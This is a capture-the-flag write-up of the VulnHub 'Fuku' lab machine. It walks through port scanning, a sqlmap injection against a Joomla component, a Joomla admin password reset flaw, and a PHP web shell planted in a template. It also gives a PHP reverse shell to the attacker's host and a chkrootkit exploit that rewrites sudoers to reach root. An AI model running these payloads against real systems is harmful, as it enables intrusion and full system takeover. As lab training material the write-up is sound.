Fuku VulnHub Writeup

  1. Joomla
  2. Templates
  3. Escalation
  4. Conclusion

Another machine by Robert Winkel today, named Fuku. If the name is anything to go on, this one should be a bit more of a challenge.

An initial port scan shows a ton of ports open. Methinks this is a bit misleading.

While the scan finishes, I do some manual probing of common services.

Port 22 is open, and is indeed ssh, as is 80, and 443..and 3309..wait.. If I connect to it with ncat, I get a HTTP response back (without sending any content). I don't believe this is truly a web server.

$ ncat 192.168.56.104 80
HTTP/1.0 200 OK
Server: Apache/2.4.4 (Ubuntu)

<html>
<body>
FUKU!</body>
</html>

So, I wait for the full scan to come back.

Upon further examination, it now looks like all ports bring back the above response. Loks like I've triggered an IDS of some sort. Crap. This scan is going to be awfully noisy.

After a while of waiting for the scan to finish, I decide to take a different approach. I write a quick Python script that will attempt to connect to ports 0-65535, perform a GET request and output the result if the word FUKU is not found in the response.

from multiprocessing import Pool
import socket

def checkPort(PORT):
    HOST = '192.168.56.104'
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.0\n\n')
        data = s.recv(1024)
        s.close()
        if 'FUKU' not in data:
            print '%d'%PORT, repr(data)
    except:
        print 'ERROR %d'%PORT
        pass

if __name__ == '__main__':
    p = Pool(25)
    p.map(checkPort, range(0,65535))

I run the script, and after a while get something of interest.

$ python fuku-1.py
ERROR 0
22 'SSH-2.0-OpenSSH_6.7p1 Ubuntu-5ubuntu1\r\n'
13370 'HTTP/1.1 200 OK\r\nDate: Fri, 15 Apr 2016 11:15:15 GMT\r\nServer: Apache/2.4.10 (Ubuntu)\r\nSet-Cookie: 2ca37425839b5e327d91a1c3ca8298ca=v4bb787cfargu73g0936rh9653; path=/\r\nP3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"\r\nExpires: Mon, 1 Jan 2001 00:00:00 GMT\r\nLast-Modified: Fri, 15 Apr 2016 11:15:16 GMT\r\nCache-Control: post-check=0, pre-check=0\r\nPragma: no-cache\r\nVary: Accept-Encoding\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n\r\n<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja-jp" lang="ja-jp" >\r\n<head>\r\n  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n  <meta name="robots" content="index, follow" />\n  <meta name="keywords" content="joomla, Joomla" />\n  <meta name="description" content="Joomla! - the dynamic portal engine and content management system" />\n  <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />\n  '

Joomla

So, we've found what appears to be a Joomla installation on port 13370.

After looking through the source of the home page, I see a module is being used named com_hdflvplayer. Now, I happen to know that this is vulneable to SQL Injection, as demonstrated at https://www.exploit-db.com/exploits/35220/.

$ sqlmap -u "http://192.168.56.104:13370/index.php?option=com_hdflvplayer&id=1" -p id --dbms mysql
         _
 ___ ___| |_____ ___ ___  {1.0-dev-e2ff186}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:21:21

[07:21:21] [INFO] testing connection to the target URL
[07:21:21] [INFO] testing if the target URL is stable. This can take a couple of seconds
[07:21:22] [INFO] target URL is stable
[07:21:22] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[07:21:22] [INFO] testing for SQL injection on GET parameter 'id'
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n]
[07:21:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:21:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:21:26] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:21:26] [WARNING] reflective value(s) found and filtering out
[07:21:26] [INFO] GET parameter 'id' seems to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
[07:21:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[07:21:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[07:21:27] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[07:21:27] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)'
[07:21:27] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[07:21:27] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[07:21:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[07:21:27] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[07:21:27] [INFO] testing 'MySQL inline queries'
[07:21:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:21:27] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[07:21:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[07:21:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT - comment)'
[07:21:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:21:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[07:21:28] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[07:21:32] [INFO] GET parameter 'id' seems to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[07:21:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:21:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:21:33] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[07:21:34] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[07:21:35] [INFO] target URL appears to be UNION injectable with 22 columns
[07:21:35] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 22 to 40 columns' injectable
[07:21:35] [WARNING] in OR boolean-based injections, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 137 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: option=com_hdflvplayer&id=-4765 OR (6303=6303)#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: option=com_hdflvplayer&id=1 UNION ALL SELECT CONCAT(0x716b7a7171,0x5a716552777a56527445,0x7171626271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: option=com_hdflvplayer&id=1 AND 9506=BENCHMARK(5000000,MD5(0x79704c68))
---
[07:21:37] [INFO] testing MySQL
[07:21:37] [INFO] confirming MySQL
[07:21:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[07:21:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.104'

[*] shutting down at 07:21:37

After digging around the database, I find various usernames and hashes - one for a user named gizmo. I note this for later.

I fire joomscan off at the target, and look through the results for something that might help me.

$ joomscan -u 192.168.56.104:13370


 ..|''||   '|| '||'  '|'     |      .|'''.|  '||''|.  
.|'    ||   '|. '|.  .'     |||     ||..  '   ||   ||
||      ||   ||  ||  |     |  ||     ''|||.   ||...|'
'|.     ||    ||| |||     .''''|.  .     '||  ||      
 ''|...|'      |   |     .|.  .||. |'....|'  .||.     


=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.4  
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=================================================================


Vulnerability Entries: 611
Last update: February 2, 2012

Use "update" option to update the database
Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package
Use svn co to update the scanner and the database
svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan


Target: http://192.168.56.104:13370

Server: Apache/2.4.10 (Ubuntu)


## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ..... OK


## Detecting Joomla! based Firewall ...

[!] No known firewall detected!


## Fingerprinting in progress ...

~Generic version family ....... [1.5.x]

~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)
~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)
~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]

* The Exact version found is 1.5.0-stable

## Fingerprinting done.


## 2 Components Found in front page  ##

 com_hdflvplayer     com_mailto




Vulnerabilities Discovered
==========================

...snip...

# 15
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 23.
Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm  2. Write into field "token" char ' and Click OK.  3. Write new password for admin  4. Go to url : target.com/administrator/  5. Login admin with new password
Vulnerable? Yes

Great - I trigger this vulnerability by visiting http://192.168.56.104:13370/index.php?option=com_user&view=reset&layout=confirm, entering the ' character and then proceeding to enter the new password of test.

Once submitted, I then browse to http://192.168.56.104:13370/administrator/ and login with the username admin and password test. We are granted access to the Joomla admin panel.

Templates

Moving from Joomla admin access to RCE on the target is relatively simple. By editing the current template at http://192.168.56.104:13370/administrator/index.php?option=com_templates&client=0&task=edit_source&id=rhuk_milkyway, we are able to add the following snippet.

<pre><?php system($_GET['c']); die(); ?></pre>

This means we can execute commands simply by visiting the homepage of the site, with our command in the c parameter.

Looking in the root directory of the site by requesting the URL http://192.168.56.104:13370/?c=ls -lah, and subsequently http://192.168.56.104:13370/?c=cat flag.txt, we find our first flag.

Did you find this flag by guessing? Or possibly by looking in the robots.txt file?
Maybe you found it after getting a shell, by using a command like "find / -name flag.txt" ?
Random keyboard smash: J7&fVbh2kTy[JgS"98$vF4#;>mGcT

We also inspect the contents of configuration.php, and find a password for the MySQL user gizmo.

/* Database Settings */
var $dbtype = 'mysql';
var $host = 'localhost';
var $user = 'gizmo';
var $password = 'sillyboy';
var $db = 'fuku';

This login doesn't work on the system, unfortunately.

Using our trusty PHP reverse shell, we are able to get a connect back on port 1234 by issuing the following request.

http://192.168.56.111:13370/?c=php+-r+%27%24sock%3dfsockopen%28%22192.168.56.103%22%2c1234%29%3bexec%28%22%2fbin%2fbash+-i+%3c%263+%3e%263+2%3e%263%22%29%3b%27

This essentially runs the following command on the target.

php -r '$sock=fsockopen("192.168.56.103",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

Certain commands (like python, id, whoami) are restricted.

www-data@Fuku:/var/www/html$ id
id
haha! FUKU! Only root can run that command.
www-data@Fuku:/var/www/html$ whoami
whoami
haha! FUKU! Only root can run that command.
www-data@Fuku:/var/www/html$ python
python
haha! FUKU! Only root can run that command.

We can get around the python restriction at least by specifying a version. I use this to get us into a PTY session.

www-data@Fuku:/var/www/html$ python2.7 -c 'import pty; pty.spawn("/bin/bash");'
<$ python2.7 -c 'import pty; pty.spawn("/bin/bash");'

Following this, I login to MySQL and check out the other databases available. One actually has an admin password in, which I bet was the real login for the admin user on Joomla. Oh well - we don't need that now..

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| fuku               |
| fuku2              |
| mysql              |
| performance_schema |
| tacacs             |
+--------------------+
6 rows in set (0.00 sec)

mysql> use tacacs;
use tacacs;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_tacacs |
+------------------+
| access           |
| accounting       |
| acl              |
| admin            |
| attribute        |
| command          |
| component        |
| config           |
| contact_info     |
| failure          |
| host             |
| node             |
| profile          |
| user             |
| vcomponent       |
| vendor           |
+------------------+
16 rows in set (0.01 sec)

mysql> select * from admin;
select * from admin;
+-------+---------------+----------+------+-------+
| uid   | password      | priv_lvl | link | vrows |
+-------+---------------+----------+------+-------+
| admin | ht70zyjHsMl3A |       15 |    0 |    25 |
+-------+---------------+----------+------+-------+

Escalation

After a while of digging, I come across something rather curious. The target has version 0.49 of chkrootkit installed. This has a known vulnerability that allows for local privilege escalation to root, as outlined at https://www.exploit-db.com/exploits/33899/. Essentially, chkrootkit when performing a scan will mistakenly execute a binary named update in the /tmp directory, resulting in arbitrary command execution under the context of the user running chkrootkit - which is usually root.

First, I create a file named update with a command to change the permission of the sudoers file, add a new entry and then reset the permissions back. I then make the file executable.

bash-4.3$:/tmp$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Then, I wait. Hopefully there is a crontab entry for chkrootkit..

After some time, I check the size of /etc/sudoers. After a few minutes, the file size changes, so I try to sudo su.

bash-4.3$ sudo su
sudo su
ls -alh /root
total 2.7M
drwx------  5 root root    4.0K Aug 18  2015 .
drwxr-xr-x 22 root root    4.0K Jan  1  1970 ..
-rw-r--r--  1 root root       0 Aug 18  2015 19700101
-rw-------  1 root root      40 Jan  1  1970 .bash_history
-rw-r--r--  1 root root    3.1K Jan  1  1970 .bashrc
drwx------  2 root root    4.0K Jan  1  1970 .cache
-rwxr-xr-x  1 root root      66 Jan  1  1970 change_ip.sh
drwxr-xr-x  2 bull bull    4.0K Jan  1  1970 chkrootkit-0.49
-rwxr-xr-x  1 root root    792K Jan  1  1970 cpp-4.9
-rw-------  1 root root     122 Jan  1  1970 flag.txt
-rwxr-xr-x  1 root root      63 Jan  1  1970 fuku
-rwxr-xr-x  1 root root    800K Jan  1  1970 g++-4.9
lrwxrwxrwx  1 root root       7 Aug  4  2015 gcc -> gcc-4.9
-rwxr-xr-x  1 root root    792K Jan  1  1970 gcc-4.9
lrwxrwxrwx  1 root root      10 Aug  4  2015 gcc-ar -> gcc-ar-4.9
-rwxr-xr-x  1 root root     26K Jan  1  1970 gcc-ar-4.9
lrwxrwxrwx  1 root root      10 Aug  4  2015 gcc-nm -> gcc-nm-4.9
-rwxr-xr-x  1 root root     26K Jan  1  1970 gcc-nm-4.9
lrwxrwxrwx  1 root root      14 Aug  4  2015 gcc-ranlib -> gcc-ranlib-4.9
-rwxr-xr-x  1 root root     26K Jan  1  1970 gcc-ranlib-4.9
-rwxr-xr-x  1 root root     38K Jan  1  1970 id
-rwxr-xr-x  1 root root     68K Jan  1  1970 ifconfig
lrwxrwxrwx  1 root root      24 Aug  4  2015 locate -> /etc/alternatives/locate
-rwxr-sr-x  1 root mlocate  34K Jan  1  1970 mlocate
drwxr-xr-x  7 root root    4.0K Jan  1  1970 portspoof
-rw-r--r--  1 root root     140 Jan  1  1970 .profile
lrwxrwxrwx  1 root root       9 Aug  4  2015 python -> python2.7
-rw-r--r--  1 root root       0 Jan  1  1970 python2.7
-rwxr-xr-x  1 root root     30K Jan  1  1970 uname
lrwxrwxrwx  1 root root      10 Aug  4  2015 which -> /bin/which
-rwxr-xr-x  1 root root     26K Jan  1  1970 whoami

Awesome! And there's our last flag!

cat /root/flag.txt
Yep, this is a flag. It's worth over 9000 Internet points!
Random keyboard smash: lkhI6u%RdFEtDjJKIuuiI7i&*iuGf)8$d4gfh%4

We also find the script responsible for changing the IP address.

cat /var/spool/cron/crontabs/root
...snip...
*/23 * * * * /bin/bash /root/change_ip.sh
cat /root/change_ip.sh
#!/bin/bash
/root/ifconfig eth0 192.168.56.`shuf -i 110-253 -n 1`

Conclusion

Some strange things were happening while testing against this machine. Firstly, it looks like it releases its DHCP lease often, meaning connections etc will die when its network adapter is reset and its IP changed. This was rather annoying, but not the end of the world.

Next - every port that was not actually open was returning a 'web page'. This was achieved using a tool named portspoof, with the following config.

1-65535 "HTTP/1\.0 200 OK\r\nServer: Apache/(2\.4\.\d) \(Ubuntu\)\r\n\r\n<html>\r\n<body>\r\nFUKU!</body>\r\n</html>"

Finally, certain commands were replaced with bash scripts that would state we're not allowed to run them. Example commands are python, gcc and wget. We worked around the python restriction quite easily.

I got stuck on the escalation for a bit here, and it was fun figuring out how to find the real live services on the machine. All in all, good fun!

Thanks Robert Winkel for putting it together, and VulnHub for hosting it.